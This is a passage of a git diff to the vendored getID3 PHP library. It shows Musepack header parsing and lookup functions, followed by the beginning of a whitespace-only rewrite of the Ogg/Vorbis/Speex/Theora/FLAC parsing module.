getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 1)); + $packet_offset += 1; + $thisPacket['version_minor'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 1)); + $packet_offset += 1; + $thisPacket['version_build'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 1)); + $packet_offset += 1; + $thisPacket['version'] = $thisPacket['version_major'].'.'.$thisPacket['version_minor'].'.'.$thisPacket['version_build']; + + $info['audio']['encoder'] = 'MPC v'.$thisPacket['version'].' ('.(($thisPacket['version_minor'] % 2) ? 'unstable' : 'stable').')'; + $thisfile_mpc_header['encoder_version'] = $info['audio']['encoder']; + //$thisfile_mpc_header['quality'] = (float) ($thisPacket['quality'] / 1.5875); // values can range from 0.000 to 15.875, mapped to qualities of 0.0 to 10.0 + $thisfile_mpc_header['quality'] = (float) ($thisPacket['quality'] - 5); // values can range from 0.000 to 15.875, of which 0..4 are "reserved/experimental", and 5..15 are mapped to qualities of 0.0 to 10.0 + break; + + case 'SO': // Seek Table Offset + $packetLength = 0; + $thisPacket['seek_table_offset'] = $thisPacket['offset'] + $this->SV8variableLengthInteger(substr($MPCheaderData, $packet_offset, $maxHandledPacketLength), $packetLength); + $packet_offset += $packetLength; + break; + + case 'ST': // Seek Table + case 'SE': // Stream End + case 'AP': // Audio Data + // nothing useful here, just skip this packet + $thisPacket = array(); + break; + + default: + $this->error('Found unhandled key type "'.$thisPacket['key'].'" at offset '.$thisPacket['offset']); + return false; + } + if (!empty($thisPacket)) { + $info['mpc']['packets'][] = $thisPacket; + } + $this->fseek($offset); + } + $thisfile_mpc_header['size'] = $offset; + return true; + } + + /** + * @return bool + */ + public function ParseMPCsv7() { + // this is SV7 + // http://www.uni-jena.de/~pfk/mpp/sv8/header.html + + $info = &$this->getid3->info; + $thisfile_mpc_header = &$info['mpc']['header']; + $offset = 0; + + $thisfile_mpc_header['size'] = 28; + $MPCheaderData = $info['mpc']['header']['preamble']; + $MPCheaderData .= $this->fread($thisfile_mpc_header['size'] - strlen($info['mpc']['header']['preamble'])); + $offset = strlen('MP+'); + + $StreamVersionByte = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 1)); + $offset += 1; + $thisfile_mpc_header['stream_version_major'] = ($StreamVersionByte & 0x0F) >> 0; + $thisfile_mpc_header['stream_version_minor'] = ($StreamVersionByte & 0xF0) >> 4; // should always be 0, subversions no longer exist in SV8 + $thisfile_mpc_header['frame_count'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 4)); + $offset += 4; + + if ($thisfile_mpc_header['stream_version_major'] != 7) { + $this->error('Only Musepack SV7 supported (this file claims to be v'.$thisfile_mpc_header['stream_version_major'].')'); + return false; + } + + $FlagsDWORD1 = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 4)); + $offset += 4; + $thisfile_mpc_header['intensity_stereo'] = (bool) (($FlagsDWORD1 & 0x80000000) >> 31); + $thisfile_mpc_header['mid_side_stereo'] = (bool) (($FlagsDWORD1 & 0x40000000) >> 30); + $thisfile_mpc_header['max_subband'] = ($FlagsDWORD1 & 0x3F000000) >> 24; + $thisfile_mpc_header['raw']['profile'] = ($FlagsDWORD1 & 0x00F00000) >> 20; + $thisfile_mpc_header['begin_loud'] = (bool) (($FlagsDWORD1 & 0x00080000) >> 19); + $thisfile_mpc_header['end_loud'] = (bool) (($FlagsDWORD1 & 0x00040000) >> 18); + $thisfile_mpc_header['raw']['sample_rate'] = ($FlagsDWORD1 & 0x00030000) >> 16; + $thisfile_mpc_header['max_level'] = ($FlagsDWORD1 & 0x0000FFFF); + + $thisfile_mpc_header['raw']['title_peak'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 2)); + $offset += 2; + $thisfile_mpc_header['raw']['title_gain'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 2), true); + $offset += 2; + + $thisfile_mpc_header['raw']['album_peak'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 2)); + $offset += 2; + $thisfile_mpc_header['raw']['album_gain'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 2), true); + $offset += 2; + + $FlagsDWORD2 = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 4)); + $offset += 4; + $thisfile_mpc_header['true_gapless'] = (bool) (($FlagsDWORD2 & 0x80000000) >> 31); + $thisfile_mpc_header['last_frame_length'] = ($FlagsDWORD2 & 0x7FF00000) >> 20; + + + $thisfile_mpc_header['raw']['not_sure_what'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 3)); + $offset += 3; + $thisfile_mpc_header['raw']['encoder_version'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 1)); + $offset += 1; + + $thisfile_mpc_header['profile'] = $this->MPCprofileNameLookup($thisfile_mpc_header['raw']['profile']); + $thisfile_mpc_header['sample_rate'] = $this->MPCfrequencyLookup($thisfile_mpc_header['raw']['sample_rate']); + if ($thisfile_mpc_header['sample_rate'] == 0) { + $this->error('Corrupt MPC file: frequency == zero'); + return false; + } + $info['audio']['sample_rate'] = $thisfile_mpc_header['sample_rate']; + $thisfile_mpc_header['samples'] = ((($thisfile_mpc_header['frame_count'] - 1) * 1152) + $thisfile_mpc_header['last_frame_length']) * $info['audio']['channels']; + + $info['playtime_seconds'] = ($thisfile_mpc_header['samples'] / $info['audio']['channels']) / $info['audio']['sample_rate']; + if ($info['playtime_seconds'] == 0) { + $this->error('Corrupt MPC file: playtime_seconds == zero'); + return false; + } + + // add size of file header to avdataoffset - calc bitrate correctly + MD5 data + $info['avdataoffset'] += $thisfile_mpc_header['size']; + + $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + + $thisfile_mpc_header['title_peak'] = $thisfile_mpc_header['raw']['title_peak']; + $thisfile_mpc_header['title_peak_db'] = $this->MPCpeakDBLookup($thisfile_mpc_header['title_peak']); + if ($thisfile_mpc_header['raw']['title_gain'] < 0) { + $thisfile_mpc_header['title_gain_db'] = (float) (32768 + $thisfile_mpc_header['raw']['title_gain']) / -100; + } else { + $thisfile_mpc_header['title_gain_db'] = (float) $thisfile_mpc_header['raw']['title_gain'] / 100; + } + + $thisfile_mpc_header['album_peak'] = $thisfile_mpc_header['raw']['album_peak']; + $thisfile_mpc_header['album_peak_db'] = $this->MPCpeakDBLookup($thisfile_mpc_header['album_peak']); + if ($thisfile_mpc_header['raw']['album_gain'] < 0) { + $thisfile_mpc_header['album_gain_db'] = (float) (32768 + $thisfile_mpc_header['raw']['album_gain']) / -100; + } else { + $thisfile_mpc_header['album_gain_db'] = (float) $thisfile_mpc_header['raw']['album_gain'] / 100;; + } + $thisfile_mpc_header['encoder_version'] = $this->MPCencoderVersionLookup($thisfile_mpc_header['raw']['encoder_version']); + + $info['replay_gain']['track']['adjustment'] = $thisfile_mpc_header['title_gain_db']; + $info['replay_gain']['album']['adjustment'] = $thisfile_mpc_header['album_gain_db']; + + if ($thisfile_mpc_header['title_peak'] > 0) { + $info['replay_gain']['track']['peak'] = $thisfile_mpc_header['title_peak']; + } elseif (round($thisfile_mpc_header['max_level'] * 1.18) > 0) { + $info['replay_gain']['track']['peak'] = getid3_lib::CastAsInt(round($thisfile_mpc_header['max_level'] * 1.18)); // why? I don't know - see mppdec.c + } + if ($thisfile_mpc_header['album_peak'] > 0) { + $info['replay_gain']['album']['peak'] = $thisfile_mpc_header['album_peak']; + } + + //$info['audio']['encoder'] = 'SV'.$thisfile_mpc_header['stream_version_major'].'.'.$thisfile_mpc_header['stream_version_minor'].', '.$thisfile_mpc_header['encoder_version']; + $info['audio']['encoder'] = $thisfile_mpc_header['encoder_version']; + $info['audio']['encoder_options'] = $thisfile_mpc_header['profile']; + $thisfile_mpc_header['quality'] = (float) ($thisfile_mpc_header['raw']['profile'] - 5); // values can range from 0 to 15, of which 0..4 are "reserved/experimental", and 5..15 are mapped to qualities of 0.0 to 10.0 + + return true; + } + + /** + * @return bool + */ + public function ParseMPCsv6() { + // this is SV4 - SV6 + + $info = &$this->getid3->info; + $thisfile_mpc_header = &$info['mpc']['header']; + $offset = 0; + + $thisfile_mpc_header['size'] = 8; + $this->fseek($info['avdataoffset']); + $MPCheaderData = $this->fread($thisfile_mpc_header['size']); + + // add size of file header to avdataoffset - calc bitrate correctly + MD5 data + $info['avdataoffset'] += $thisfile_mpc_header['size']; + + // Most of this code adapted from Jurgen Faul's MPEGplus source code - thanks Jurgen! :) + $HeaderDWORD = array(); + $HeaderDWORD[0] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, 0, 4)); + $HeaderDWORD[1] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, 4, 4)); + + + // DDDD DDDD CCCC CCCC BBBB BBBB AAAA AAAA + // aaaa aaaa abcd dddd dddd deee eeff ffff + // + // a = bitrate = anything + // b = IS = anything + // c = MS = anything + // d = streamversion = 0000000004 or 0000000005 or 0000000006 + // e = maxband = anything + // f = blocksize = 000001 for SV5+, anything(?) for SV4 + + $thisfile_mpc_header['target_bitrate'] = (($HeaderDWORD[0] & 0xFF800000) >> 23); + $thisfile_mpc_header['intensity_stereo'] = (bool) (($HeaderDWORD[0] & 0x00400000) >> 22); + $thisfile_mpc_header['mid_side_stereo'] = (bool) (($HeaderDWORD[0] & 0x00200000) >> 21); + $thisfile_mpc_header['stream_version_major'] = ($HeaderDWORD[0] & 0x001FF800) >> 11; + $thisfile_mpc_header['stream_version_minor'] = 0; // no sub-version numbers before SV7 + $thisfile_mpc_header['max_band'] = ($HeaderDWORD[0] & 0x000007C0) >> 6; // related to lowpass frequency, not sure how it translates exactly + $thisfile_mpc_header['block_size'] = ($HeaderDWORD[0] & 0x0000003F); + + switch ($thisfile_mpc_header['stream_version_major']) { + case 4: + $thisfile_mpc_header['frame_count'] = ($HeaderDWORD[1] >> 16); + break; + + case 5: + case 6: + $thisfile_mpc_header['frame_count'] = $HeaderDWORD[1]; + break; + + default: + $info['error'] = 'Expecting 4, 5 or 6 in version field, found '.$thisfile_mpc_header['stream_version_major'].' instead'; + unset($info['mpc']); + return false; + } + + if (($thisfile_mpc_header['stream_version_major'] > 4) && ($thisfile_mpc_header['block_size'] != 1)) { + $this->warning('Block size expected to be 1, actual value found: '.$thisfile_mpc_header['block_size']); + } + + $thisfile_mpc_header['sample_rate'] = 44100; // AB: used by all files up to SV7 + $info['audio']['sample_rate'] = $thisfile_mpc_header['sample_rate']; + $thisfile_mpc_header['samples'] = $thisfile_mpc_header['frame_count'] * 1152 * $info['audio']['channels']; + + if ($thisfile_mpc_header['target_bitrate'] == 0) { + $info['audio']['bitrate_mode'] = 'vbr'; + } else { + $info['audio']['bitrate_mode'] = 'cbr'; + } + + $info['mpc']['bitrate'] = ($info['avdataend'] - $info['avdataoffset']) * 8 * 44100 / $thisfile_mpc_header['frame_count'] / 1152; + $info['audio']['bitrate'] = $info['mpc']['bitrate']; + $info['audio']['encoder'] = 'SV'.$thisfile_mpc_header['stream_version_major']; + + return true; + } + + /** + * @param int $profileid + * + * @return string + */ + public function MPCprofileNameLookup($profileid) { + static $MPCprofileNameLookup = array( + 0 => 'no profile', + 1 => 'Experimental', + 2 => 'unused', + 3 => 'unused', + 4 => 'unused', + 5 => 'below Telephone (q = 0.0)', + 6 => 'below Telephone (q = 1.0)', + 7 => 'Telephone (q = 2.0)', + 8 => 'Thumb (q = 3.0)', + 9 => 'Radio (q = 4.0)', + 10 => 'Standard (q = 5.0)', + 11 => 'Extreme (q = 6.0)', + 12 => 'Insane (q = 7.0)', + 13 => 'BrainDead (q = 8.0)', + 14 => 'above BrainDead (q = 9.0)', + 15 => 'above BrainDead (q = 10.0)' + ); + return (isset($MPCprofileNameLookup[$profileid]) ? $MPCprofileNameLookup[$profileid] : 'invalid'); + } + + /** + * @param int $frequencyid + * + * @return int|string + */ + public function MPCfrequencyLookup($frequencyid) { + static $MPCfrequencyLookup = array( + 0 => 44100, + 1 => 48000, + 2 => 37800, + 3 => 32000 + ); + return (isset($MPCfrequencyLookup[$frequencyid]) ? $MPCfrequencyLookup[$frequencyid] : 'invalid'); + } + + /** + * @param int $intvalue + * + * @return float|false + */ + public function MPCpeakDBLookup($intvalue) { + if ($intvalue > 0) { + return ((log10($intvalue) / log10(2)) - 15) * 6; + } + return false; + } + + /** + * @param int $encoderversion + * + * @return string + */ + public function MPCencoderVersionLookup($encoderversion) { + //Encoder version * 100 (106 = 1.06) + //EncoderVersion % 10 == 0 Release (1.0) + //EncoderVersion % 2 == 0 Beta (1.06) + //EncoderVersion % 2 == 1 Alpha (1.05a...z) + + if ($encoderversion == 0) { + // very old version, not known exactly which + return 'Buschmann v1.7.0-v1.7.9 or Klemm v0.90-v1.05'; + } + + if (($encoderversion % 10) == 0) { + + // release version + return number_format($encoderversion / 100, 2); + + } elseif (($encoderversion % 2) == 0) { + + // beta version + return number_format($encoderversion / 100, 2).' beta'; + + } + + // alpha version + return number_format($encoderversion / 100, 2).' alpha'; + } + + /** + * @param string $data + * @param int $packetLength + * @param int $maxHandledPacketLength + * + * @return int|false + */ + public function SV8variableLengthInteger($data, &$packetLength, $maxHandledPacketLength=9) { + $packet_size = 0; + for ($packetLength = 1; $packetLength <= $maxHandledPacketLength; $packetLength++) { + // variable-length size field: + // bits, big-endian + // 0xxx xxxx - value 0 to 2^7-1 + // 1xxx xxxx 0xxx xxxx - value 0 to 2^14-1 + // 1xxx xxxx 1xxx xxxx 0xxx xxxx - value 0 to 2^21-1 + // 1xxx xxxx 1xxx xxxx 1xxx xxxx 0xxx xxxx - value 0 to 2^28-1 + // ... + $thisbyte = ord(substr($data, ($packetLength - 1), 1)); + // look through bytes until find a byte with MSB==0 + $packet_size = ($packet_size << 7); + $packet_size = ($packet_size | ($thisbyte & 0x7F)); + if (($thisbyte & 0x80) === 0) { + break; + } + if ($packetLength >= $maxHandledPacketLength) { + return false; + } + } + return $packet_size; + } + + /** + * @param string $packetKey + * + * @return string + */ + public function MPCsv8PacketName($packetKey) { + static $MPCsv8PacketName = array(); + if (empty($MPCsv8PacketName)) { + $MPCsv8PacketName = array( + 'AP' => 'Audio Packet', + 'CT' => 'Chapter Tag', + 'EI' => 'Encoder Info', + 'RG' => 'Replay Gain', + 'SE' => 'Stream End', + 'SH' => 'Stream Header', + 'SO' => 'Seek Table Offset', + 'ST' => 'Seek Table', + ); + } + return (isset($MPCsv8PacketName[$packetKey]) ? $MPCsv8PacketName[$packetKey] : $packetKey); + } +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.ogg.php b/vendor/james-heinrich/getid3/getid3/module.audio.ogg.php index 197dc4c58b..5786fd0d59 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.ogg.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.ogg.php @@ -1,925 +1,925 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.ogg.php // -// module for analyzing Ogg Vorbis, OggFLAC and Speex files // -// dependencies: module.audio.flac.php // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.flac.php', __FILE__, true); - -class getid3_ogg extends getid3_handler -{ - /** - * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html - * - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'ogg'; - - // Warn about illegal tags - only vorbiscomments are allowed - if (isset($info['id3v2'])) { - $this->warning('Illegal ID3v2 tag present.'); - } - if (isset($info['id3v1'])) { - $this->warning('Illegal ID3v1 tag present.'); - } - if (isset($info['ape'])) { - $this->warning('Illegal APE tag present.'); - } - - - // Page 1 - Stream Header - - $this->fseek($info['avdataoffset']); - - $oggpageinfo = $this->ParseOggPageHeader(); - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; - - if ($this->ftell() >= $this->getid3->fread_buffer_size()) { - $this->error('Could not find start of Ogg page in the first '.$this->getid3->fread_buffer_size().' bytes (this might not be an Ogg-Vorbis file?)'); - unset($info['fileformat']); - unset($info['ogg']); - return false; - } - - $filedata = $this->fread($oggpageinfo['page_length']); - $filedataoffset = 0; - - if (substr($filedata, 0, 4) == 'fLaC') { - - $info['audio']['dataformat'] = 'flac'; - $info['audio']['bitrate_mode'] = 'vbr'; - $info['audio']['lossless'] = true; - - } elseif (substr($filedata, 1, 6) == 'vorbis') { - - $this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo); - - } elseif (substr($filedata, 0, 8) == 'OpusHead') { - - if ($this->ParseOpusPageHeader($filedata, $filedataoffset, $oggpageinfo) === false) { - return false; - } - - } elseif (substr($filedata, 0, 8) == 'Speex ') { - - // http://www.speex.org/manual/node10.html - - $info['audio']['dataformat'] = 'speex'; - $info['mime_type'] = 'audio/speex'; - $info['audio']['bitrate_mode'] = 'abr'; - $info['audio']['lossless'] = false; - - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_string'] = substr($filedata, $filedataoffset, 8); // hard-coded to 'Speex ' - $filedataoffset += 8; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version'] = substr($filedata, $filedataoffset, 20); - $filedataoffset += 20; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version_id'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['header_size'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode_bitstream_version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['bitrate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['framesize'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['frames_per_packet'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['extra_headers'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved1'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved2'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - - $info['speex']['speex_version'] = trim($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']); - $info['speex']['sample_rate'] = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate']; - $info['speex']['channels'] = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels']; - $info['speex']['vbr'] = (bool) $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr']; - $info['speex']['band_type'] = $this->SpeexBandModeLookup($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']); - - $info['audio']['sample_rate'] = $info['speex']['sample_rate']; - $info['audio']['channels'] = $info['speex']['channels']; - if ($info['speex']['vbr']) { - $info['audio']['bitrate_mode'] = 'vbr'; - } - - } elseif (substr($filedata, 0, 7) == "\x80".'theora') { - - // http://www.theora.org/doc/Theora.pdf (section 6.2) - - $info['ogg']['pageheader']['theora']['theora_magic'] = substr($filedata, $filedataoffset, 7); // hard-coded to "\x80.'theora' - $filedataoffset += 7; - $info['ogg']['pageheader']['theora']['version_major'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - $info['ogg']['pageheader']['theora']['version_minor'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - $info['ogg']['pageheader']['theora']['version_revision'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - $info['ogg']['pageheader']['theora']['frame_width_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 2)); - $filedataoffset += 2; - $info['ogg']['pageheader']['theora']['frame_height_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 2)); - $filedataoffset += 2; - $info['ogg']['pageheader']['theora']['resolution_x'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); - $filedataoffset += 3; - $info['ogg']['pageheader']['theora']['resolution_y'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); - $filedataoffset += 3; - $info['ogg']['pageheader']['theora']['picture_offset_x'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - $info['ogg']['pageheader']['theora']['picture_offset_y'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - $info['ogg']['pageheader']['theora']['frame_rate_numerator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader']['theora']['frame_rate_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); - $filedataoffset += 3; - $info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); - $filedataoffset += 3; - $info['ogg']['pageheader']['theora']['color_space_id'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - $info['ogg']['pageheader']['theora']['nominal_bitrate'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); - $filedataoffset += 3; - $info['ogg']['pageheader']['theora']['flags'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 2)); - $filedataoffset += 2; - - $info['ogg']['pageheader']['theora']['quality'] = ($info['ogg']['pageheader']['theora']['flags'] & 0xFC00) >> 10; - $info['ogg']['pageheader']['theora']['kfg_shift'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x03E0) >> 5; - $info['ogg']['pageheader']['theora']['pixel_format_id'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x0018) >> 3; - $info['ogg']['pageheader']['theora']['reserved'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x0007) >> 0; // should be 0 - $info['ogg']['pageheader']['theora']['color_space'] = self::TheoraColorSpace($info['ogg']['pageheader']['theora']['color_space_id']); - $info['ogg']['pageheader']['theora']['pixel_format'] = self::TheoraPixelFormat($info['ogg']['pageheader']['theora']['pixel_format_id']); - - $info['video']['dataformat'] = 'theora'; - $info['mime_type'] = 'video/ogg'; - //$info['audio']['bitrate_mode'] = 'abr'; - //$info['audio']['lossless'] = false; - $info['video']['resolution_x'] = $info['ogg']['pageheader']['theora']['resolution_x']; - $info['video']['resolution_y'] = $info['ogg']['pageheader']['theora']['resolution_y']; - if ($info['ogg']['pageheader']['theora']['frame_rate_denominator'] > 0) { - $info['video']['frame_rate'] = (float) $info['ogg']['pageheader']['theora']['frame_rate_numerator'] / $info['ogg']['pageheader']['theora']['frame_rate_denominator']; - } - if ($info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] > 0) { - $info['video']['pixel_aspect_ratio'] = (float) $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] / $info['ogg']['pageheader']['theora']['pixel_aspect_denominator']; - } - $this->warning('Ogg Theora (v3) not fully supported in this version of getID3 ['.$this->getid3->version().'] -- bitrate, playtime and all audio data are currently unavailable'); - - - } elseif (substr($filedata, 0, 8) == "fishead\x00") { - - // Ogg Skeleton version 3.0 Format Specification - // http://xiph.org/ogg/doc/skeleton.html - $filedataoffset += 8; - $info['ogg']['skeleton']['fishead']['raw']['version_major'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); - $filedataoffset += 2; - $info['ogg']['skeleton']['fishead']['raw']['version_minor'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); - $filedataoffset += 2; - $info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); - $filedataoffset += 8; - $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); - $filedataoffset += 8; - $info['ogg']['skeleton']['fishead']['raw']['basetime_numerator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); - $filedataoffset += 8; - $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); - $filedataoffset += 8; - $info['ogg']['skeleton']['fishead']['raw']['utc'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 20)); - $filedataoffset += 20; - - $info['ogg']['skeleton']['fishead']['version'] = $info['ogg']['skeleton']['fishead']['raw']['version_major'].'.'.$info['ogg']['skeleton']['fishead']['raw']['version_minor']; - $info['ogg']['skeleton']['fishead']['presentationtime'] = $info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'] / $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator']; - $info['ogg']['skeleton']['fishead']['basetime'] = $info['ogg']['skeleton']['fishead']['raw']['basetime_numerator'] / $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator']; - $info['ogg']['skeleton']['fishead']['utc'] = $info['ogg']['skeleton']['fishead']['raw']['utc']; - - - $counter = 0; - do { - $oggpageinfo = $this->ParseOggPageHeader(); - $info['ogg']['pageheader'][$oggpageinfo['page_seqno'].'.'.$counter++] = $oggpageinfo; - $filedata = $this->fread($oggpageinfo['page_length']); - $this->fseek($oggpageinfo['page_end_offset']); - - if (substr($filedata, 0, 8) == "fisbone\x00") { - - $filedataoffset = 8; - $info['ogg']['skeleton']['fisbone']['raw']['message_header_offset'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['skeleton']['fisbone']['raw']['serial_number'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['skeleton']['fisbone']['raw']['number_header_packets'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['skeleton']['fisbone']['raw']['granulerate_numerator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); - $filedataoffset += 8; - $info['ogg']['skeleton']['fisbone']['raw']['granulerate_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); - $filedataoffset += 8; - $info['ogg']['skeleton']['fisbone']['raw']['basegranule'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); - $filedataoffset += 8; - $info['ogg']['skeleton']['fisbone']['raw']['preroll'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['skeleton']['fisbone']['raw']['granuleshift'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - $info['ogg']['skeleton']['fisbone']['raw']['padding'] = substr($filedata, $filedataoffset, 3); - $filedataoffset += 3; - - } elseif (substr($filedata, 1, 6) == 'theora') { - - $info['video']['dataformat'] = 'theora1'; - $this->error('Ogg Theora (v1) not correctly handled in this version of getID3 ['.$this->getid3->version().']'); - //break; - - } elseif (substr($filedata, 1, 6) == 'vorbis') { - - $this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo); - - } else { - $this->error('unexpected'); - //break; - } - //} while ($oggpageinfo['page_seqno'] == 0); - } while (($oggpageinfo['page_seqno'] == 0) && (substr($filedata, 0, 8) != "fisbone\x00")); - - $this->fseek($oggpageinfo['page_start_offset']); - - $this->error('Ogg Skeleton not correctly handled in this version of getID3 ['.$this->getid3->version().']'); - //return false; - - } elseif (substr($filedata, 0, 5) == "\x7F".'FLAC') { - // https://xiph.org/flac/ogg_mapping.html - - $info['audio']['dataformat'] = 'flac'; - $info['audio']['bitrate_mode'] = 'vbr'; - $info['audio']['lossless'] = true; - - $info['ogg']['flac']['header']['version_major'] = ord(substr($filedata, 5, 1)); - $info['ogg']['flac']['header']['version_minor'] = ord(substr($filedata, 6, 1)); - $info['ogg']['flac']['header']['header_packets'] = getid3_lib::BigEndian2Int(substr($filedata, 7, 2)) + 1; // "A two-byte, big-endian binary number signifying 